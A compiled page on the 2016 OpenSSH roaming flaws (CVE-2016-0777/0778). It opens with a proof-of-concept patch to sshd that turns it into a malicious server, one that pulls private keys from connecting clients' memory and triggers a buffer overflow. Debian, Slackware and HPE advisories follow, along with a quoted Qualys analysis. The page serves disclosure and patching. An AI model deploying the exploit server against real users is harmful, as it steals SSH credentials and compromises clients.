func, name, errno); +} + +static inline void * +load_roaming_file(const char const name, + void buf, size_t const buflenp) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buflenp == NULL) + fatal("%s: %s buflenp %p", func, name, buflenp); + + const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + struct stat st; + if (fstat(fd, &st) != 0) + fatal("%s: fstat %s errno %d", func, name, errno); + if (S_ISREG(st.st_mode) == 0) + fatal("%s: %s mode 0%o", func, name, (u_int)st.st_mode); + if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF) + fatal("%s: %s size %lld", func, name, + (long long)st.st_size); + + if (buf == NULL) { + buflenp = st.st_size; + buf = xmalloc(buflenp); + } else { + if (buflenp != (size_t)st.st_size) + fatal("%s: %s size %lld buflen %lu", func, name, + (long long)st.st_size, (u_long)buflenp); + } + if (read(fd, buf, buflenp) != (ssize_t)buflenp) + fatal("%s: read %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); + return buf; +} + #endif / ROAMING / diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c --- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700 +++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800 @@ -1060,6 +1060,9 @@ server_request_session(void) return c; }

+static int client_session_channel = -1; +static int server_session_channel = -1; + static void server_input_channel_open(int type, u_int32_t seq, void ctxt) { @@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in c->remote_window = rwindow; c->remote_maxpacket = rmaxpack; if (c->type != SSH_CHANNEL_CONNECTING) { + debug("%s: avoid client-side buf_append", func); + / packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); packet_put_int(c->remote_id); packet_put_int(c->self); packet_put_int(c->local_window); packet_put_int(c->local_maxpacket); packet_send(); + */ + if (strcmp(ctype, "session") == 0) { + if (client_session_channel != -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + client_session_channel = c->remote_id; + server_session_channel = c->self; + } } } else { debug("server_input_channel_open: failure %s", ctype); @@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in }

static void +roaming_disconnect(Kex const kex) +{ + const char cp, roaming = getenv("ROAMING"); + if (roaming == NULL) + roaming = "infoleak"; + int overflow = 0; + if ((cp = strstr(roaming, "overflow:")) != NULL) + overflow = cp[9]; + + const u_int client_recv_buf_size = packet_get_int(); + packet_check_eom(); + const u_int server_recv_buf_size = get_recv_buf_size(); + const u_int server_send_buf_size = get_snd_buf_size(); + debug("%s: client_recv_buf_size %u", func, client_recv_buf_size); + debug("%s: server_recv_buf_size %u", func, server_recv_buf_size); + debug("%s: server_send_buf_size %u", func, server_send_buf_size); + + u_int client_send_buf_size = 0; + if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL) + client_send_buf_size = strtoul(cp + 21, NULL, 0); + else if (client_recv_buf_size == DEFAULT_ROAMBUF) + client_send_buf_size = DEFAULT_ROAMBUF; + else { + const u_int + max = MAX(client_recv_buf_size, server_recv_buf_size), + min = MIN(client_recv_buf_size, server_recv_buf_size); + if (min <= 0) + fatal("%s: min %u", func, min); + if (((u_int64_t)(max - min) * 1024) / min < 1) + client_send_buf_size = server_send_buf_size; + else + client_send_buf_size = client_recv_buf_size; + } + debug("%s: client_send_buf_size %u", func, client_send_buf_size); + if (client_send_buf_size <= 0) + fatal("%s: client_send_buf_size", func); + + u_int id = 0; + char dir = NULL; + for (;;) { + id = arc4random(); + debug("%s: id %u", func, id); + free(dir); + dir = get_roaming_dir(id); + if (mkdir(dir, S_IRWXU) == 0) + break; + if (errno != EEXIST) + fatal("%s: mkdir %s errno %d", func, dir, errno); + } + debug("%s: dir %s", func, dir); + if (chdir(dir) != 0) + fatal("%s: chdir %s errno %d", func, dir, errno); + + u_int client_out_buf_size = 0; + if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL) + client_out_buf_size = strtoul(cp + 20, NULL, 0); + else if (overflow != 0) + client_out_buf_size = MAX_ROAMBUF; + else + client_out_buf_size = 1 + arc4random() % 4096; + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0) + fatal("%s: client_out_buf_size", func); + dump_roaming_file("client_out_buf_size", &client_out_buf_size, + sizeof(client_out_buf_size)); + + if ((cp = strstr(roaming, "scp_mode")) != NULL) { + if (overflow != 0) + fatal("%s: scp_mode is incompatible with overflow %d", + func, overflow); + + u_int seconds_left_to_sleep = 3; + if ((cp = strstr(cp, "sleep:")) != NULL) + seconds_left_to_sleep = strtoul(cp + 6, NULL, 0); + debug("%s: sleep %u", func, seconds_left_to_sleep); + + if (client_session_channel == -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(client_session_channel); + packet_put_int(server_session_channel); + packet_put_int(0); / server window / + packet_put_int(0); / server maxpacket / + packet_send(); + + packet_start(SSH2_MSG_CHANNEL_DATA); + packet_put_int(client_session_channel); + packet_put_string("\0\n", 2); / response&source|sink&run_err / + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_REQUEST); + packet_get_int(); / server channel / + debug("%s: channel request %s", func, + packet_get_cstring(NULL)); + + while (seconds_left_to_sleep) + seconds_left_to_sleep = sleep(seconds_left_to_sleep); + } + + packet_start(SSH2_MSG_REQUEST_SUCCESS); + packet_put_int(id); / roaming_id / + packet_put_int64(arc4random()); / cookie / + packet_put_int64(0); / key1 / + packet_put_int64(0); / key2 / + packet_put_int(client_out_buf_size - client_send_buf_size); + packet_send(); + packet_write_wait(); + + if (overflow != 0) { + const u_int64_t full_client_out_buf = get_recv_bytes() + + client_out_buf_size; + + u_int fd_leaks = 4 * 8 * 8; / MIN_CHUNK_SIZE in bits / + if ((cp = strstr(roaming, "fd_leaks:")) != NULL) + fd_leaks = strtoul(cp + 9, NULL, 0); + debug("%s: fd_leaks %u", func, fd_leaks); + + while (fd_leaks--) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(overflow == 'X' ? "x11" : + "auth-agent@openssh.com"); / ctype / + packet_put_int(arc4random()); / server channel / + packet_put_int(arc4random()); / server window / + packet_put_int(arc4random()); / server maxpacket / + if (overflow == 'X') { + packet_put_cstring(""); / originator / + packet_put_int(arc4random()); / port / + } + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_get_int(); / server channel / + packet_get_int(); / client channel / + packet_get_int(); / client window / + packet_get_int(); / client maxpacket / + packet_check_eom(); + } + + while (get_recv_bytes() <= full_client_out_buf) { + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring(""); / rtype / + packet_put_char(1); / want_reply / + packet_send(); + + packet_read_expect(SSH2_MSG_REQUEST_FAILURE); + packet_check_eom(); + } + + if (kex == NULL) + fatal("%s: no kex, cannot rekey", func); + if (kex->flags & KEX_INIT_SENT) + fatal("%s: KEX_INIT_SENT already", func); + char const ptr = buffer_ptr(&kex->my); + const u_int len = buffer_len(&kex->my); + if (len <= 1+4) / first_kex_follows + reserved / + fatal("%s: kex len %u", func, len); + ptr[len - (1+4)] = 1; / first_kex_follows / + kex_send_kexinit(kex); + + u_int i; + packet_read_expect(SSH2_MSG_KEXINIT); + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + for (i = 0; i < PROPOSAL_MAX; i++) + free(packet_get_string(NULL)); + packet_get_char(); / first_kex_follows / + packet_get_int(); / reserved / + packet_check_eom(); + + char buf[81922]; / two packet_read_seqnr bufferfuls / + memset(buf, '\0', sizeof(buf)); + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL); + packet_put_string(buf, sizeof(buf)); + packet_send(); + const Buffer const output = packet_get_output(); + dump_roaming_file("output", buffer_ptr(output), + buffer_len(output)); + } + + const u_int64_t client_write_bytes = get_recv_bytes(); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + dump_roaming_file("client_write_bytes", &client_write_bytes, + sizeof(client_write_bytes)); + fatal("%s: all done for %s", func, dir); +} + +static void server_input_global_request(int type, u_int32_t seq, void ctxt) { char rtype; @@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_ } else if (strcmp(rtype, "no-more-sessions@openssh.com") == 0) { no_more_sessions = 1; success = 1; + } else if (strcmp(rtype, ROAMING_REQUEST) == 0) { + if (want_reply != 1) + fatal("%s: rtype %s want_reply %d", func, + rtype, want_reply); + roaming_disconnect(ctxt); + / NOTREACHED */ + fatal("%s: returned from %s", func, ROAMING_REQUEST); } if (want_reply) { packet_start(success ? diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c --- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700 +++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800 @@ -2432,6 +2432,8 @@ do_ssh2_kex(void) } if (options.kex_algorithms != NULL) myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms; + else + myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;

if (options.rekey_limit || options.rekey_interval)
    packet_set_rekey_limits((u_int32_t)options.rekey_limit,

.

Users with passphrase-less privates keys, especially in non interactive setups (automated jobs using ssh, scp, rsync+ssh etc.) are advised to update their keys if they have connected to an SSH server they don't trust.

More details about identifying an attack and mitigations will be available in the Qualys Security Advisory.

For the oldstable distribution (wheezy), these problems have been fixed in version 1:6.0p1-4+deb7u3.

For the stable distribution (jessie), these problems have been fixed in version 1:6.7p1-5+deb8u1.

For the testing distribution (stretch) and unstable distribution (sid), these problems will be fixed in a later version.

We recommend that you upgrade your openssh packages. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

[slackware-security] openssh (SSA:2016-014-01)

New openssh packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1, and -current to fix security issues.

Here are the details from the Slackware 14.1 ChangeLog: +--------------------------+ patches/packages/openssh-7.1p2-i486-1_slack14.1.txz: Upgraded. This update fixes an information leak and a buffer overflow. For more information, see: https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0777 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0778


  • IMPORTANT: READ BELOW ABOUT POTENTIALLY INCOMPATIBLE CHANGES *

Rather than backport the fix for the information leak (which is the only hazardous flaw), we have upgraded to the latest OpenSSH. As of version 7.0, OpenSSH has deprecated some older (and presumably less secure) algorithms, and also (by default) only allows root login by public-key, hostbased and GSSAPI authentication. Make sure that your keys and authentication method will allow you to continue accessing your system after the upgrade. The release notes for OpenSSH 7.0 list the following incompatible changes to be aware of: * Support for the legacy SSH version 1 protocol is disabled by default at compile time. * Support for the 1024-bit diffie-hellman-group1-sha1 key exchange is disabled by default at run-time. It may be re-enabled using the instructions at http://www.openssh.com/legacy.html * Support for ssh-dss, ssh-dss-cert- host and user keys is disabled by default at run-time. These may be re-enabled using the instructions at http://www.openssh.com/legacy.html * Support for the legacy v00 cert format has been removed. * The default for the sshd_config(5) PermitRootLogin option has changed from "yes" to "prohibit-password". * PermitRootLogin=without-password/prohibit-password now bans all interactive authentication methods, allowing only public-key, hostbased and GSSAPI authentication (previously it permitted keyboard-interactive and password-less authentication if those were enabled). ( Security fix *) +--------------------------+

Where to find the new packages: +-----------------------------+

Thanks to the friendly folks at the OSU Open Source Lab (http://osuosl.org) for donating FTP and rsync hosting to the Slackware project! :-)

Also see the "Get Slack" section on http://slackware.com for additional mirror sites near you.

Updated package for Slackware 13.0: ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/openssh-7.1p2-i486-1_slack13.0.txz

Updated package for Slackware x86_64 13.0: ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/openssh-7.1p2-x86_64-1_slack13.0.txz

Updated package for Slackware 13.1: ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/openssh-7.1p2-i486-1_slack13.1.txz

Updated package for Slackware x86_64 13.1: ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/openssh-7.1p2-x86_64-1_slack13.1.txz

Updated package for Slackware 13.37: ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/openssh-7.1p2-i486-1_slack13.37.txz

Updated package for Slackware x86_64 13.37: ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/openssh-7.1p2-x86_64-1_slack13.37.txz

Updated package for Slackware 14.0: ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/openssh-7.1p2-i486-1_slack14.0.txz

Updated package for Slackware x86_64 14.0: ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/openssh-7.1p2-x86_64-1_slack14.0.txz

Updated package for Slackware 14.1: ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/openssh-7.1p2-i486-1_slack14.1.txz

Updated package for Slackware x86_64 14.1: ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/openssh-7.1p2-x86_64-1_slack14.1.txz

Updated package for Slackware -current: ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/openssh-7.1p2-i586-1.txz

Updated package for Slackware x86_64 -current: ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/openssh-7.1p2-x86_64-1.txz

MD5 signatures: +-------------+

Slackware 13.0 package: 856dd9c1b10641c282f30a34b7b63bea openssh-7.1p2-i486-1_slack13.0.txz

Slackware x86_64 13.0 package: 80903b0829f0284d007e7a316f2ff2da openssh-7.1p2-x86_64-1_slack13.0.txz

Slackware 13.1 package: 2095d1a304a94bab44993fdb7e0781c8 openssh-7.1p2-i486-1_slack13.1.txz

Slackware x86_64 13.1 package: 5bf653d7f5b4a9426ff2c5888af99f00 openssh-7.1p2-x86_64-1_slack13.1.txz

Slackware 13.37 package: 53e09b4371c045b9de1c86e0826324f9 openssh-7.1p2-i486-1_slack13.37.txz

Slackware x86_64 13.37 package: cd0319ff3c574c50612d5ba2b38f2fdc openssh-7.1p2-x86_64-1_slack13.37.txz

Slackware 14.0 package: 98cdc1d6ffea2a06d0c8013078681bff openssh-7.1p2-i486-1_slack14.0.txz

Slackware x86_64 14.0 package: 2093f3e91a79e07f072c702a1704be73 openssh-7.1p2-x86_64-1_slack14.0.txz

Slackware 14.1 package: d051d9f31cd380436ad01fa1641be1c7 openssh-7.1p2-i486-1_slack14.1.txz

Slackware x86_64 14.1 package: f1f81757431c3c836f06ce5d22e2d5de openssh-7.1p2-x86_64-1_slack14.1.txz

Slackware -current package: 70db20c5e4152bc9967b1e24cf91ed98 n/openssh-7.1p2-i586-1.txz

Slackware x86_64 -current package: e13dc3da27f817bee693fbb907015817 n/openssh-7.1p2-x86_64-1.txz

Installation instructions: +------------------------+

Upgrade the package as root:

upgradepkg openssh-7.1p2-i486-1_slack14.1.txz

Next, restart the sshd daemon:

sh /etc/rc.d/rc.sshd restart

Then before logging out, make sure that you still have remote access! See the information about incompatible changes in OpenSSH 7.x above.

+-----+

Slackware Linux Security Team http://slackware.com/gpg-key security@slackware.com

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Note: the current version of the following document is available here: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c05247375 Version: 1

HPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System (vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information, Remote Denial of Service (DoS), Remote Disclosure of Information

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2016-08-29 Last Updated: 2016-08-29

Potential Security Impact: Remote Denial of Service (DoS), Disclosure of Information, Unauthorized Modification Of Information

Source: Hewlett Packard Enterprise, Product Security Response Team

VULNERABILITY SUMMARY Potential vulnerabilities have been identified in the lighttpd and OpenSSH version used in HPE Remote Device Access: Virtual Customer Access System (vCAS). These vulnerabilities could be exploited remotely resulting in unauthorized modification of information, denial of service (DoS), and disclosure of information.

References:

CVE-2015-3200 CVE-2016-0777 CVE-2016-0778 PSRT110211

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA 8.1) and earlier.

BACKGROUND

CVSS Base Metrics ================= Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector

CVE-2015-3200
  5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVE-2016-0777
  6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)

CVE-2016-0778
  9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)

Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:

https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499

RESOLUTION

HPE has made the following updates available to resolve the vulnerabilities in Remote Device Access: Virtual Customer Access System (vCAS)

vCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and hp-rdacas-16.05-10482.ova.

The Oracle VirtualBox kit is available at: https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova

The VMware ESX(i) and VMware Player kit is available at: https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova

HISTORY Version:1 (rev.1) - 29 August 2016 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy.

Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HPE Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hpe.com.

Report: To report a potential security vulnerability for any HPE supported product: Web form: https://www.hpe.com/info/report-security-vulnerability Email: security-alert@hpe.com

Subscribe: To initiate a subscription to receive future HPE Security Bulletin alerts via Email: http://www.hpe.com/support/Subscriber_Choice

Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://www.hpe.com/support/Security_Bulletin_Archive

Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.

3C = 3COM 3P = 3rd Party Software GN = HPE General Software HF = HPE Hardware and Firmware MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PV = ProCurve ST = Storage Software UX = HP-UX

Copyright 2016 Hewlett Packard Enterprise

Hewlett Packard Enterprise shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett Packard Enterprise and the names of Hewlett Packard Enterprise products referenced herein are trademarks of Hewlett Packard Enterprise in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners

Show details on source website


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    "data": "The resend_bytes function in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2 allows remote servers to obtain sensitive information from process memory by requesting transmission of an entire buffer, as demonstrated by reading a private key. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. OpenSSH is prone to a heap-based buffer-overflow vulnerability. \nSuccessful exploits may allow attackers to execute arbitrary code in the  context of the affected application. Failed attacks will cause  denial-of-service conditions. \nSuccessfully exploiting this issue allows attackers to obtain sensitive information that may aid in further attacks. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. \nQualys Security Advisory\n\nRoaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778\n\n\n========================================================================\nContents\n========================================================================\n\nSummary\nInformation Leak (CVE-2016-0777)\n- Analysis\n- Private Key Disclosure\n- Mitigating Factors\n- Examples\nBuffer Overflow (CVE-2016-0778)\n- Analysis\n- Mitigating Factors\n- File Descriptor Leak\nAcknowledgments\nProof Of Concept\n\n\n========================================================================\nSummary\n========================================================================\n\nSince version 5.4 (released on March 8, 2010), the OpenSSH client\nsupports an undocumented feature called roaming: if the connection to an\nSSH server breaks unexpectedly, and if the server supports roaming as\nwell, the client is able to reconnect to the server and resume the\nsuspended SSH session. This information leak may have already been exploited in\nthe wild by sophisticated attackers, and high-profile sites or users may\nneed to regenerate their SSH keys accordingly. \n\nThe buffer overflow, on the other hand, is present in the default\nconfiguration of the OpenSSH client but its exploitation requires two\nnon-default options: a ProxyCommand, and either ForwardAgent (-A) or\nForwardX11 (-X). This buffer overflow is therefore unlikely to have any\nreal-world impact, but provides a particularly interesting case study. \n\nAll OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be\neasily hot-fixed by setting the undocumented option \"UseRoaming\" to\n\"no\", as detailed in the Mitigating Factors section. OpenSSH version\n7.1p2 (released on January 14, 2016) disables roaming by default. \n\n\n========================================================================\nInformation Leak (CVE-2016-0777)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nIf the OpenSSH client connects to an SSH server that offers the key\nexchange algorithm \"resume@appgate.com\", it sends the global request\n\"roaming@appgate.com\" to the server, after successful authentication. If\nthis request is accepted, the client allocates a roaming buffer out_buf,\nby calling malloc() (and not calloc()) with an out_buf_size that is\narbitrarily chosen by the server:\n\n 63 void\n 64 roaming_reply(int type, u_int32_t seq, void *ctxt)\n 65 {\n 66         if (type == SSH2_MSG_REQUEST_FAILURE) {\n 67                 logit(\"Server denied roaming\");\n 68                 return;\n 69         }\n 70         verbose(\"Roaming enabled\");\n .. \n 75         set_out_buffer_size(packet_get_int() + get_snd_buf_size());\n .. \n 77 }\n\n 40 static size_t out_buf_size = 0;\n 41 static char *out_buf = NULL;\n 42 static size_t out_start;\n 43 static size_t out_last;\n .. \n 75 void\n 76 set_out_buffer_size(size_t size)\n 77 {\n 78         if (size == 0 || size \u003e MAX_ROAMBUF)\n 79                 fatal(\"%s: bad buffer size %lu\", __func__, (u_long)size);\n 80         /*\n 81          * The buffer size can only be set once and the buffer will live\n 82          * as long as the session lives. \n 83          */\n 84         if (out_buf == NULL) {\n 85                 out_buf_size = size;\n 86                 out_buf = xmalloc(size);\n 87                 out_start = 0;\n 88                 out_last = 0;\n 89         }\n 90 }\n\nThe OpenSSH client\u0027s roaming_write() function, a simple wrapper around\nwrite(), calls wait_for_roaming_reconnect() to transparently reconnect\nto the SSH server after a disconnection. It also calls buf_append() to\ncopy the data sent to the server into the roaming buffer out_buf. During\na reconnection, the client is therefore able to resend the data that was\nnot received by the server because of the disconnection:\n\n198 void\n199 resend_bytes(int fd, u_int64_t *offset)\n200 {\n201         size_t available, needed;\n202\n203         if (out_start \u003c out_last)\n204                 available = out_last - out_start;\n205         else\n206                 available = out_buf_size;\n207         needed = write_bytes - *offset;\n208         debug3(\"resend_bytes: resend %lu bytes from %llu\",\n209             (unsigned long)needed, (unsigned long long)*offset);\n210         if (needed \u003e available)\n211                 fatal(\"Needed to resend more data than in the cache\");\n212         if (out_last \u003c needed) {\n213                 int chunkend = needed - out_last;\n214                 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,\n215                     chunkend);\n216                 atomicio(vwrite, fd, out_buf, out_last);\n217         } else {\n218                 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);\n219         }\n220 }\n\nIn the OpenSSH client\u0027s roaming buffer out_buf, the most recent data\nsent to the server begins at index out_start and ends at index out_last. \nAs soon as this circular buffer is full, buf_append() maintains the\ninvariant \"out_start = out_last + 1\", and consequently three different\ncases have to be considered:\n\n- \"out_start \u003c out_last\" (lines 203-204): out_buf is not full yet (and\n  out_start is still equal to 0), and the amount of data available in\n  out_buf is indeed \"out_last - out_start\";\n\n- \"out_start \u003e out_last\" (lines 205-206): out_buf is full (and out_start\n  is exactly equal to \"out_last + 1\"), and the amount of data available\n  in out_buf is indeed the entire out_buf_size;\n\n- \"out_start == out_last\" (lines 205-206): no data was ever written to\n  out_buf (and both out_start and out_last are still equal to 0) because\n  no data was ever sent to the server after roaming_reply() was called,\n  but the client sends (leaks) the entire uninitialized out_buf to the\n  server (line 214), as if out_buf_size bytes of data were available. \n\nIn order to successfully exploit this information leak and retrieve\nsensitive information from the OpenSSH client\u0027s memory (for example,\nprivate SSH keys, or memory addresses useful for further exploitation),\na malicious server needs to:\n\n- Massage the client\u0027s heap before roaming_reply() malloc()ates out_buf,\n  and force malloc() to return a previously free()d but uncleansed chunk\n  of sensitive information. The simple proof-of-concept in this advisory\n  does not implement heap massaging. \n\n- Guess the client\u0027s get_snd_buf_size() in order to precisely control\n  out_buf_size. OpenSSH \u003c 6.0 accepts out_buf sizes in the range (0,4G),\n  and OpenSSH \u003e= 6.0 accepts sizes in the range (0,2M]. Sizes smaller\n  than get_snd_buf_size() are attainable because roaming_reply() does\n  not protect \"packet_get_int() + get_snd_buf_size()\" against integer\n  wraparound. The proof-of-concept in this advisory attempts to derive\n  the client\u0027s get_snd_buf_size() from the get_recv_buf_size() sent by\n  the client to the server, and simply chooses a random out_buf_size. \n\n- Advise the client\u0027s resend_bytes() that all \"available\" bytes (the\n  entire out_buf_size) are \"needed\" by the server, even if fewer bytes\n  were actually written by the client to the server (because the server\n  controls the \"*offset\" argument, and resend_bytes() does not protect\n  \"needed = write_bytes - *offset\" against integer wraparound). \n\nFinally, a brief digression on a minor bug in resend_bytes(): on 64-bit\nsystems, where \"chunkend\" is a 32-bit signed integer, but \"out_buf\" and\n\"out_buf_size\" are 64-bit variables, \"out_buf + out_buf_size - chunkend\"\nmay point out-of-bounds, if chunkend is negative (if out_buf_size is in\nthe [2G,4G) range). This negative chunkend is then converted to a 64-bit\nsize_t greater than SSIZE_MAX when passed to atomicio(), and eventually\nreturns EFAULT when passed to write() (at least on Linux and OpenBSD),\nthus avoiding an out-of-bounds read from the OpenSSH client\u0027s memory. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure\n------------------------------------------------------------------------\n\nWe initially believed that this information leak in the OpenSSH client\u0027s\nroaming code would not allow a malicious SSH server to steal the\nclient\u0027s private keys, because:\n\n- the information leaked is not read from out-of-bounds memory, but from\n  a previously free()d chunk of memory that is recycled to malloc()ate\n  the client\u0027s roaming buffer out_buf;\n\n- private keys are loaded from disk into memory and freed by key_free()\n  (old API, OpenSSH \u003c 6.7) or sshkey_free() (new API, OpenSSH \u003e= 6.7),\n  and both functions properly cleanse the private keys\u0027 memory with\n  OPENSSL_cleanse() or explicit_bzero();\n\n- temporary copies of in-memory private keys are freed by buffer_free()\n  (old API) or sshbuf_free() (new API), and both functions attempt to\n  cleanse these copies with memset() or bzero(). \n\nHowever, we eventually identified three reasons why, in our experiments,\nwe were able to partially or completely retrieve the OpenSSH client\u0027s\nprivate keys through this information leak (depending on the client\u0027s\nversion, compiler, operating system, heap layout, and private keys):\n\n(besides these three reasons, other reasons may exist, as suggested by\nthe CentOS and Fedora examples at the end of this section)\n\n1. If a private SSH key is loaded from disk into memory by fopen() (or\nfdopen()), fgets(), and fclose(), a partial or complete copy of this\nprivate key may remain uncleansed in memory. Indeed, these functions\nmanage their own internal buffers, and whether these buffers are\ncleansed or not depends on the OpenSSH client\u0027s libc (stdio)\nimplementation, but not on OpenSSH itself. \n\n- In all vulnerable OpenSSH versions, SSH\u0027s main() function calls\n  load_public_identity_files(), which loads the client\u0027s public keys\n  with fopen(), fgets(), and fclose(). Unfortunately, the private keys\n  (without the \".pub\" suffix) are loaded first and then discarded, but\n  nonetheless buffered in memory by the stdio functions. \n\n- In OpenSSH versions \u003c= 5.6, the load_identity_file() function (called\n  by the client\u0027s public-key authentication method) loads a private key\n  with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses\n  fgets() and hence internal stdio buffering. \n\nInternal stdio buffering is the most severe of the three problems\ndiscussed in this section, although GNU/Linux is not affected because\nthe glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. \nBSD-based systems, on the other hand, are severely affected because they\nsimply malloc()ate and free() stdio buffers. For interesting comments on\nthis issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk\n\n2. In OpenSSH versions \u003e= 5.9, the client\u0027s load_identity_file()\nfunction (called by the public-key authentication method) read()s a\nprivate key in 1024-byte chunks that are appended to a growing buffer (a\nrealloc()ating buffer) with buffer_append() (old API) or sshbuf_put()\n(new API). Unfortunately, the repeated calls to realloc() may leave\npartial copies of the private key uncleansed in memory. \n\n- In OpenSSH \u003c 6.7 (old API), the initial size of such a growing buffer\n  is 4096 bytes: if a private-key file is larger than 4K, a partial copy\n  of this private key may remain uncleansed in memory (a 3K copy in a 4K\n  buffer). Fortunately, only the file of a very large RSA key (for\n  example, an 8192-bit RSA key) can exceed 4K. \n\n- In OpenSSH \u003e= 6.7 (new API), the initial size of a growing buffer is\n  256 bytes: if a private-key file is larger than 1K (the size passed to\n  read()), a partial copy of this private key may remain uncleansed in\n  memory (a 1K copy in a 1K buffer). For example, the file of a\n  default-sized 2048-bit RSA key exceeds 1K. \n\nFor more information on this 